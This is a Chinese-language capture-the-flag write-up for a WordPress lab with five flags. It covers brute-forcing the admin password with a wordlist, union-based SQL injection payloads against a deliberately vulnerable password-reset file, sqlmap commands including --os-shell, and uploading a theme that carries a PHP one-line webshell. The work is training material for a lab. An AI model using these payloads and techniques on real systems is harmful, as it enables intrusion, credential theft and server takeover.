一、前期準備
根據比賽規則所知,這是一道綜合web滲透題,題目一共包含5個flag,

首先我們訪問靶場地址:http://192.168.60.5
通過分析可以得出,該網站為一個個人博客,使用的CMS是WordPress5.8.2,編程語言是PHP,資料庫是MySql,作業系統是Debian,使用的WordPress主題是Zakra,

接著我們使用nmap對該IP進行目錄掃描:

發現該IP僅開放了80(sql)和3306(mysql)埠,因此判斷flag可能就藏在WordPress網站或者資料庫中,
二、【寶藏1】
1.登錄網站后我們首先看到一篇叫【你好!冒險家!】的文章,

2.閱讀之后我們知道了題目一共設定了5個flag,另外我們還發現了一行藍字,讓我們可以去武器庫看看,

3.找到武器庫后,我們發現里面內置了一些工具,猜測可能與解題有關,根據介紹推出可能有編碼題、目錄泄露、爆破、SQL注入題等題型,


4.回到首頁我們發現還有第二篇博客,名字叫【第一個寶藏】,想必這里應該藏匿了第一個flag,

5.我們訪問后,發現是一串看不懂的字串,但是根據提示說可能和密碼學有關,而且有張寫著b64的圖片,猜測該字串可能經過base64編碼了,我們又想到武器庫中有base64解碼器,于是去解碼試試,

6.解密后得到第一個flag{G1ft_At_F1rst_S1ght},
三、【寶藏2】
1.在武器庫中我們還發現了目錄掃描工具,
2.于是我們嘗試對文章目錄進行掃描,看看有什么可以利用的點,

3.我們發現了有www.zip,robots.txt等檔案,
4.于是我們先嘗試訪問robots.txt,發現題目提示第二個寶藏可能在/wp-admin這個目錄下面,

5.于是我們訪問這個目錄,發現是WordPress的管理后臺,

6.我們右鍵查看源代碼看看有沒有原始碼泄露的問題,

7.右鍵查看原始碼,通過搜索flag欄位我們發現了第二個flag,flag{YOur_Are_s0_Lucky_This_1s_Fl4g},

四、【寶藏3】
1.打開剛剛下載的www.zip,發現是網站原始碼,對原始碼全域搜索"flag{"欄位發現dashboard.php中存在flag,但是內容被隱去,

2.我們發現該檔案位置在wp-admin下,猜測可能是管理員用戶的檔案,想要讀取這個檔案需要進入管理后臺,

3.另外根據武器庫的提示,我們發現有一個爆破字典6000.txt,猜測可能需要爆破才能進入管理后臺,
4.根據文章發布的作者,我們發現系統后臺應該存在一個admin用戶,

4.于是我們打算使用武器庫提供的6000.txt爆破字典進行弱口令爆破,
5.打開bp抓去后臺登錄包,將其發送到intruder模塊進行爆破,其中log=admin不變,設定pwd的值為變數,

6.通過對回應包對長度進行排序,發現當pwd=x12345678的時候包長度和其它包不一樣,推測WordPress的后臺密碼可能為x12345678,

7.使用admin/x12345678進行驗證,發現登錄成功,獲取到第三個flag,flag{The_c0de_1s_0pen_Sesame},

五、【寶藏4】
1.根據題目關鍵字“資料倉庫”和武器庫中包含sqlmap,猜測第4個寶藏應該在資料庫中,考點應該是sql注入,
2.打開www.zip發現致冒險家們.txt、wp-login.php和wp_lostpassword.php三個檔案的修改日期和其它檔案不一致,猜測出題人可能對這個三個檔案進行了編輯,

3.打開“致冒險家們.txt”檔案,發現提示大家進行代碼審計,

4.于是對后面兩個檔案進行代碼審計分析,發現wp_lostpassword.php中包含mysql對賬號、密碼、資料庫名稱以及select查詢陳述句,

5.經過分析發現該查詢陳述句沒有進行任何過濾,直接將用戶提交的引數【$username】拼接到select查詢陳述句中進行資料庫查詢,另外不會審計的同學也可以通過自動化的審計工具進行代碼審計,

6.通過檔案名“wp_lostpassword.php”,可知該檔案應該在忘記密碼的地方,我們嘗試在后臺點擊忘記密碼去訪問,

7.發現系統會把你輸入的用戶名帶到系統中查詢,而執行查詢的檔案操作的就是存在漏洞的“wp_lostpassword.php”檔案,


8.通過測驗陳述句1' or sleep(5)#,發先頁面5s后才加載完成,證明資料庫執行了休眠5s的操作,存在時間盲注,

9.通過輸入paylaod:admin' order by 10# 不報錯,而
admin' order by 11# 報錯,可知該表存在十個欄位值,



10.通過payload:1' union select 1,2,3,4,5,6,7,8,9,10# 可以判斷回顯欄位,

11.發現回顯點為第二位,證明可以進行聯合注入,

12.于是我們把payload改為1' union select 1,version(),3,4,5,6,7,8,9,10# 成功查詢了資料庫的版本資訊,

13.使用payload:1' union select 1,database(),3,4,5,6,7,8,9,10# 查詢當前資料庫,

14.后面我們來正式獲取flag,flag{This_1s_My_Dad_G0ld_Bank} ,
a.1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3,4,5,6,7,8,9,10# 查庫名

b.1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'wordpress'),3,4,5,6,7,8,9,10# 查表名

c.1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'flag'),3,4,5,6,7,8,9,10# 查列名

d.1' union select 1,(select flag from flag),3,4,5,6,7,8,9,10# 查flag

15.當然大家也可以使用武器庫提供的sqlmap來直接獲取flag,
通過bp抓post請求包保存為url.txt,然后使用sqlmap命令來進行sql注入:

python3 sqlmap.py -r url.txt --batch --dbs python3 sqlmap.py -r url.txt --batch -D wordpress --tables python3 sqlmap.py -r url.txt --batch -D wordpress -T flag --dump

16.當然有人可能想起來之前用nmap掃描發現主機對外開啟了3306埠,并且我們也知道了資料庫的賬號和密碼,是否可以直接用資料庫管理工具連接讀取flag呢?
答案是否定的,因為通過select user,host from mysql.user;
我們發現用戶root的訪問權限為localhost,表示root用戶只支持本地訪問,無法進行遠程連接,

六、【寶藏5】
1.我們登錄后臺后,瀏覽了一下發現沒有其它flag,猜測可能最后一個flag藏在Debian的服務器上,于是我們在后臺尋找上傳點,看看能不能上傳webshell,
2.經過一番搜尋后,我們在外觀-主題處發現了一個名字叫做websell的可疑主題,猜測可能是別人留下的后門,


3.但是我們不知道其真實路徑,后來我們回想起我們在前期準備階段了解到這個站點使用的是Zakra主題,而且我們現在手中又正好有這個網站的原始碼,這樣我們就可以通過Zakra主題的位置來推測webshell的位置,

4.我們發現zakra中存在一個webshell.php,

5.我們后來打開發現原來是個假shell,內容為phpinfo,

6.雖然是假webshell,但是可以幫我確定位置,我們驗證我們推測的地址是否可以直接訪問,于是我們訪問http://192.168.60.5/wp-content/themes/zakra/webshell.php,發現確實可以訪問,證明我們推測無誤,

7.目前有兩個方案,一是去連接webshell主題中別人留下來的webshell,雖然我們可以推測出路徑,但是我們不知道webshell的檔案名和密碼,另一方案是我們自己寫一個webshell放到主題里面打包上傳到網站中,
8.我們在主題處發現可以自己打包zip的主題壓縮包進行上傳,

9.于是我們修改zakra中webshell.php的內容為一句話木馬,

10.然后重新打包上傳,

11.發現此處也會爆出檔案路徑,我們直接點擊替換,覆寫當前版本,

12.覆寫成功后引數使用webshell管理工具進行連接,


13.在根目錄發現flag,flag{C0ngratu1at10n_0n_y0ur_Graduat10n},


七、思考
1.對sql注入不熟悉的同學其實可以先做【寶藏5】,然后使用webshell管理工具自帶的資料庫管理工具來直接讀取【寶藏4】資料庫中的flag,


2.沒有找到【寶藏5】webshell上傳點的小伙伴也可以通過【寶藏4】sql注入寫shell的方式來直接向網站目錄寫入webshell,
python3 sqlmap.py -r url.txt --os-shell --batch

sqlmap寫入的shell


直接讀取flag

八、賽后復現
1.我已將本次賽題打包成鏡像上傳到dockerhub,想復現本次競賽的同學可以自己拉取dokcer鏡像,
使用方法:
#拉取docker鏡像 docker pull kakaxi1996/acs_ctf:v5 #運行docker鏡像,將容器內的80埠映射到本地80埠 docker run -d -p 80:80 kakaxi1996/acs_ctf:v5 #打開瀏覽器訪問http://127.0.0.1即可

若想讓除本機外的內網其它主機訪問,需修改檔案/var/www/html/wp-config.php中的以下地址為運行docker的宿主機對外的IP地址,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/389041.html
標籤:其他
上一篇:前端本地開發如何靠自己解決跨域
下一篇:樹莓派--搭建蜜罐
